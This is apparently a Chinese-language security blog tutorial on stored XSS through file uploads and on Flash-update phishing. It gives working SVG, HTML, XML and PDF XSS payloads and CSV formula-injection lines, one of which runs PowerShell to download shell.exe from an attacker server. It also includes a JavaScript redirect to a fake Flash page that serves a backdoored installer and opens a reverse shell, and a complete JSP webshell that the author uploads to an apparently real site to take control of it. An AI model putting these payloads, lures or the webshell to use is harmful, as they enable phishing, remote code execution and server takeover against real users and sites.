XSS之Flash弹窗钓鱼

张开发
2026/4/4 20:24:02 15 分钟阅读
XSS之Flash弹窗钓鱼
0x1 前言哈喽师傅们好这次打算给师弟们分享的是XSS之Flash弹窗钓鱼和文件上传getshell各种姿势的内容然后先是给小白师傅们简单介绍下XSS漏洞和文件上传漏洞。然后后面给师傅们简单演示了XSS之Flash弹窗钓鱼然后后面很详细的介绍了文件上传和XSS漏洞的组合拳的好几种方式后面也是通过对一个站点的测试给师傅们演示了一波。后面给师傅们整理了下pdf木马制作的过程以及最后面分享下我一次在测文件上传最后也是getshell了。0x2 漏洞简介文件上传原理这里利用form表单标签和类型为file的Input标签来完成上传要将表单数据编码格式置为multipart/form-data类型这个编码类型会对文件内容在上传时进行处理以便服务端处理程序解析文件类型与内容完成上传操作。form methodPOST enctypemultipart/form-data input typefile namefile value请选择文件br / input typesubmit /formXSS原理XSS跨站脚本攻击是一种常见的网络安全漏洞攻击者通常会在网页中插入恶意的JavaScript代码。由于服务器对输入数据的过滤和验证不严格这些恶意的JavaScript代码会被当作响应的一部分返回给客户端。当浏览器解析来自服务器的响应时它会执行这些恶意的JavaScript代码从而导致攻击者能够执行恶意操作。0x3 浅谈上传XSS的各种类型姿势允许上传HTML或SVG允许上传html或者svg都可以能导致xss也能导致任意URL跳转甚至还能导致SSRF很难利用因为核心还是js代码可控其中URL重定向漏洞可以参考之前我在先知写的文章https://xz.aliyun.com/t/15069html造成XSS就不多说了懂得都懂主要说说svg文件如何造成xss。检查思路创建一个恶意的svg文件输入如下内容?xml version1.0 encodingUTF-8? svg version1.1 xmlnshttp://www.w3.org/2000/svg width100 height100 script typeapplication/javascript alert(XSS Attack!); /script polygon points0,0 0,50 50,0 fill#009900 stroke#004400/ /svg上传到文件中并访问可以看到已经成功弹窗出来了XSS漏洞**拓展如果目标存在导出功能如给svg导出为pdf这种功能那么可能存在SSRF **可尝试使用其他协议更直观的查看如file://允许上传PDF文件可能存在PDF XSS和任意URL跳转但是由于属于浏览器层面的漏洞所以厂商大概率不认可。可以直接使用工具生成https://www.xunjiepdf.com/editor也可以按照网上的操作用迅捷PDF编辑器去操作效果都一样因为pdf一般是后端的组件有的开发可能配置成wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf那就可直接利用file协议进行利用如果网站本身存在预览JS的地方可以试试通过CVE-2024-4367来实现PDF XSS 获取Cookie、账户接管等。允许上传CSV文件如果允许上传CSV文件且上传的CSV文件的内容未经过处理过滤直接保存那么可以尝试上传具有恶意命令执行payload的CSV文件当其他用户下载该CSV文件时可能会导致命令执行。CSV文件的Payload如下DDE (cmd;/C calc;!A0)A0 SUM(19)*cmd| /C calc!A0 1020cmd| /C calc!A0 cmd| /C notepad!A1 cmd|/C powershell IEX(wget attacker_server/shell.exe)!A0 cmd|/c rundll32.exe \\10.0.0.1\3\2\1.dll,0!_xlbgnm.A1检查思路上传恶意的CSV文件下载恶意的CSV文件观察下载后的CSV文件是否对等号等特殊符号做了处理payloads会否会成功执行如果能则说明存在问题0x4 XSS之Flash弹窗钓鱼基础环境准备Flash网站克隆源码GitHub - hackxc/xss_flash: Xss之Flash钓鱼生成后门并捆绑flash的安装程序VPS服务器搭建好flash网站下载地址要修改为构造好的后门文件。有XSS漏洞的网站GitHub - r00tSe7en/Flash-Pop: Flash钓鱼弹窗优化版具体钓鱼流程找到可以插入一段JS代码的网站如存在存储xss漏洞。插入触发flash版本过低弹窗的JS代码script src本地用来弹flash版本过低的地址/script目标点击确定后跳转到伪造flash界面的VPS服务器目标靶机点击下载并安装触发后门反弹shell修改version.js中弹窗的指向伪造Flash网站地址window.alert function(name){ var iframe document. createElement(IFRAME); iframe.style.displaynone; iframe.setAttribute(src,data:text/plain,); document. documentElement.appendChild(iframe); window.frames [0].window.alert(name); iframe.parentNode.removeChild(iframe); } alert( 您的FLASH版本过低尝试升级后访问该页面! ); window. location.href此处是伪造Flash网站地址;模拟存在XSS网站的VPS服务器index.html!DOCTYPE html html head meta charsetutf-8 titleFlash Test.../title script src此处存在XSS网站的VPS服务器地址/script /head body h1Flash Test.../h1 /body /html执行Flash钓鱼成功后就会跳转到这个官方页面然后需要你下载这个Flash软件然后下载执行的exe那么利用比如CS监听就可以上线成功了0x5 组合拳实战测试html、svg文件上传打XSS漏洞师傅们可以看到找到下面的这个站点的这个功能存在文件上传我先尝试一手html文件html文件上传相对来讲常见点并且一般要是能够上传html文件成功基本上都可以打一个存储型XSS漏洞了html恶意弹窗代码如下!DOCTYPE html html langen head meta charsetUTF-8 meta nameviewport contentwidthdevice-width, initial-scale1.0 titleDocument/title scriptalert(xss)/script /head body /body /html上传成功可以看到我这里上传的html文件的url路径下面尝试访问下这个路径看看里面的html恶意弹窗代码会不会执行可以看到我这里换个浏览器访问也是成功执行XSS弹窗了的上传svg恶意文件也是一样的svg恶意弹窗代码如下?xml version1.0 standaloneno? !DOCTYPE svg PUBLIC -//W3C//DTD SVG 1.1//EN http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd svg version1.1 baseProfilefull xmlnshttp://www.w3.org/2000/svg polygon idtriangle points0,0 0,50 50,0 fill#009900 stroke#004400/ script typetext/javascript alert(xss); /script /svg也是一样换个浏览器访问照样是可以成功执行弹窗的制作pdf弹窗木马pdf编辑器下载地址如下https://www.xunjiepdf.com/直接打开然后新建空白页面然后点击属性然后点击右边的小点点然后出现下面的选项框点击新增js代码写入app.alert(xss);js代码然后保存到本地然后也是按照上面的一样步骤也是可以打出一个存储型XSS漏洞上传XML文件打XSS漏洞上传xml文件必须CORS允许所有域 CORS 跨域资源请求(允许我们网站加载其他网页代码)xml它需要上传2个文件首先上传第一个xml文件(url地址我们首先拿到)然后再上传第二个xml文件xml1https://xxx.com/File/1/xxxxxx.xml?xml version1.0 encodingiso-8859-1? xsl:stylesheet version1.0 xmlns:xslhttp://xxxx.org/1999/XSL/Transform xsl:template match/ htmlbody scriptalert(/1/);/script /body/html /xsl:template /xsl:stylesheet然后上传xml2代码中的href填写xml1的上传链接路径?xml version1.0 encodingiso-8859-1? ?xml-stylesheet typetext/xsl href? test/testCURL查看curl 域名 -H Origin: https://baidu.com -I文件上传——getshell下面这个站点就是通过测试文件上传打XSS漏洞然后进行的getshell。 经审计发现该小程序网站是Java框架搞的那么我们就可以尝试上传jsp后缀的webshell编写的木马来尝试下getshell了。1、尝试上传jsp代码发现该代码直接被执行了。真的是逆天了师傅们一点过滤都没有直接解析了那么就说明他这个网站可以执行jsp代码那我这不就可以上传jsp木马了嘛。------WebKitFormBoundaryybBAbhwqIL86Jdcn Content-Disposition: form-data; namefile; filenametest.html Content-Type: text/html alert(1) ------WebKitFormBoundaryybBAbhwqIL86Jdcn--2、上传jsp木马使用蚁剑连接getshelljsp木马如下蚁剑连接密码passwd%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { returnsuper.defineClass(b, 0, b.length); } } publicbyte[] base64Decode(String str) throws Exception { try { Class clazz Class.forName(sun.misc.BASE64Decoder); return (byte[]) clazz.getMethod(decodeBuffer, String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz Class.forName(java.util.Base64); Object decoder clazz.getMethod(getDecoder).invoke(null); return (byte[]) decoder.getClass().getMethod(decode, String.class).invoke(decoder, str); } } % % String cls request.getParameter(passwd); if (cls ! null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %成功上传jsp木马然后使用蚁剑成功连接然后getshell了。0x6 总结这篇文章对于仪式内容的介绍和分享就到这里了然后后面要是有什么问题和需要交流的地方师傅们可以跟我讨论下里面的一些案例包括各种的打都写的蛮详细的对小白师傅比较友好哈 最后希望这篇文章对师傅们有帮助哈

更多文章